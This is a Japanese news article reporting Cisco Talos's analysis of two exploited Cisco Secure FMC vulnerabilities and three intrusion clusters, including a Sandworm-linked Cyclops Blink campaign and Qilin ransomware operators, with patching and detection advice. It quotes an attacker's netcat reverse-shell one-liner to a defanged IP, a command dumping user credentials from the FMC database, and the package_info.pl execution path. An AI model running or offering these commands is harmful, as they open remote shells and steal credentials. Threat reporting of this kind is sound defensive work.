Cisco Secure FMCの脆弱性を国家支援APTとランサムウェアが相次ぎ悪用 — TalosがSandworm重なる3つの侵入クラスターを報告

Cisco Talosは2026年9月9日（米国時間）、Cisco Secure Firewall Management Center（FMC）ソフトウェアの2件の脆弱性が野外で悪用されているとする解析を公開した。対象はCVE-2026-20079とCVE-2026-20316で、Talosは侵入後の挙動が異なる3つのクラスターを特定している。国家支援型APTと重なる手口からランサムウェアの展開まで、同一製品を起点とする多面的な悪用が確認された点が特徴だ。

同社は既に公開済みのホットフィックスの即時適用を推奨している。包括的な強化リリースは9月14日週に予定されているが、それを待たずに手当てする必要があるとしている。

対象の脆弱性

Talosが悪用を確認したのは次の2件だ。いずれもFMCソフトウェアに存在する。

• CVE-2026-20079 — 認証バイパスの脆弱性。未修正のFMCに対し、未認証のリモート攻撃者が認証を回避し、スクリプトを実行してOSのroot権限を取得できる。CVSS 10.0（Critical）と評価されている。
• CVE-2026-20316 — 低権限アカウントでのログインを許す脆弱性。CVSS 5.3だが、他のFMC脆弱性と組み合わせることで権限昇格に悪用できる。Talosは静的認証情報でのログイン事例も確認している。

Ciscoは両脆弱性についてホットフィックスを既に提供している。Talosは「野外での悪用を確認したため、強化リリースを待たずにホットフィックスを適用してほしい」と呼びかけている。

3つの侵入クラスター

Talosは観測した侵入後の活動を、関連する攻撃者をUAT（Unattributed Threat Actor）番号で整理して次の3つに分類した。

クラスター1: UAT-12197 — WebシェルとJARによる認証情報窃取

CVE-2026-20079の単独悪用から始まるクラスターだ。攻撃者はCSM TomcatのWebルートにJSPベースのWebシェルを配置した。リクエストパラメータ**「F6C1F0E7」**にBase64でJavaクラス名を埋め込み、Javaプロセス内で任意のクラスをロードする仕組みだった。

続いて同じディレクトリに悪性JARファイル「cmd[.]jar」を置き、次のコマンドでFMC内部のデータベースからユーザー名と認証データを窃取した。

/var/jre/bin/java -jar cmd.jar '/var/sf/bin/OmniQuery.pl -db mdb -e \'SELECT name, auth_data FROM users;\''

このJARはコマンドラインで渡された命令を**/bin/sh -c**で実行する単純なコマンド実行器として機能していたと、Talosは説明している。

クラスター2: UAT-11823 — Sandwormと重なるAPT、Cyclops Blinkを展開

Talosが高確度でAPTと評価し、ロシアのAPT Sandwormとツールが重なると指摘したクラスターだ。攻撃者はCVE-2026-20079または静的認証情報で初期侵入した後、ディスク上の**「license.tmp」ファイルをMakeself形式の悪性パッケージ**で置き換えた。

このファイルは正規ユーティリティ**「package_info.pl」経由でroot権限**で実行され、次のNetcatリバースシェルを確立した。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 208[.]123[.]119[.]215 3090 >/tmp/f

実行経路は次だった。

/usr/local/sf/bin/package_info.pl /var/tmp/license.tmp --lsm

Talosはこのパッケージファイルの展開手口をCVE-2026-20316の悪用の可能性が高い指標と位置付けている。

侵入後、攻撃者は2つのbashスクリプトで管理対象デバイスの設定を収集してアーカイブ化し、外部へ持ち出す準備を進めた。さらにNetcatのC2サーバからELF型モジュール「Cyclops Blink」をダウンロードした。Talosによると、このCyclops Blinkは過去に米英政府がSandwormに帰属させたマルウェアファミリで、今回の亜種は次の機能を持っていた。

• **/etc/init.d/**への永続化スクリプト配置
• **DNS over HTTPS（DoH）**による名前解決
• ファイルのダウンロード・アップロード
• 認証情報の収集
• 任意ファイル実行・コマンド実行
• ネットワーク探索・スキャン、パケットスニッフィング

クラスター3: UAT-11988 — Qilinランサムウェアの運用者

3つ目はランサムウェア運用者と評価されたUAT-11988だ。Talosはこの活動のTTPがQilinランサムウェアのアフィリエイトと一致するとしている。手口はCVE-2026-20316の静的認証情報でのログインから始まり、正規ツール**「package_info.pl」と悪性「license[.]tmp」を組み合わせて、FMC上で広範な偵察**を実施した。収集対象は次の通りだ。

• ホスト名、IPアドレス、ディレクトリ一覧
• Active DirectoryサービスアカウントやMySQLアカウントの認証情報
• ドメインアカウント情報、コンピュータオブジェクト一覧
• ドメインコントローラー、ADFS、Exchange、ファイルサーバ、データベースサーバのホスト名とIPマッピング

収集した情報はFMCサーバ上の既存ファイルに集約され、HTTP GETリクエストで外部へ持ち出された。

続いて攻撃者はPython製SOCKS5プロキシ「socks5.py」とリバースSSHトンネルで、被害組織内部への持続的なネットワークアクセスを確保した。転送されたポートは**LDAP（389）、LDAPS（636）、Kerberos（88）、SMB（445）、NetBIOS（135）、WinRM（5985）**だった。

最終段階では、組織内のエンドポイントを広く探索し、ImpacketやInvoke-TheHash、独自のAVキラーを展開した後、Qilinランサムウェアを選択した端末群で実行した。

影響と推奨される対策

Cisco Talosは、FMCがファイアウォールポリシーの管理中枢に位置するため、侵害された場合に管理対象デバイスの設定や認証情報、ネットワーク構成が広く窃取され、横展開の足がかりになる点を強調している。日本国内でも大企業や官公署でFMCを運用している組織は、影響範囲の確認が求められる。

TalosとCiscoが推奨している対応は次の通りだ。

• ホットフィックスを直ちに適用する。対象はCVE-2026-20079およびCVE-2026-20316で、Ciscoが既に公開している。包括的な強化リリースは9月14日週に予定されているが、適用を遅らせないことが重要だとしている。
• 管理インターフェースへのネットワーク到達性を制限し、信頼できる管理ネットワークからのみ到達できる構成を見直す。
• 侵害の有無を調査する。TalosはSnort SIDs 66075–66080（CVE-2026-20079）、66883（CVE-2026-20316）、66960・66961（関連マルウェア）と、GitHubで公開されたIOCを活用した検知を呼びかけている。不審なlicense.tmpやJSP Webシェル、cmd.jar、SOCKSプロキシの痕跡がないか確認する必要がある。
• 被害が疑われる場合はCisco TACへの連絡と、外部のインシデント対応支援の検討も推奨されている。

Talosは今回の観測について「同じ脆弱性を起点に、Webシェル型の窃取、国家支援型APTの持続的潜伏、ランサムウェアの金銭目的攻撃という異なる目的の活動が並行して起きている」と整理している。FMCのような管理基盤は一度侵害されると被害が連鎖しやすい。Talosが公開したIOCと検知シグネチャを基に、速やかなパッチ適用と侵害調査を進めることが求められる。

出典

• Active exploitation of Cisco Secure Firewall Management Center vulnerabilities - Cisco Talos
• Cisco Secure Firewall Management Center Information Disclosure Vulnerability - Cisco Security Advisory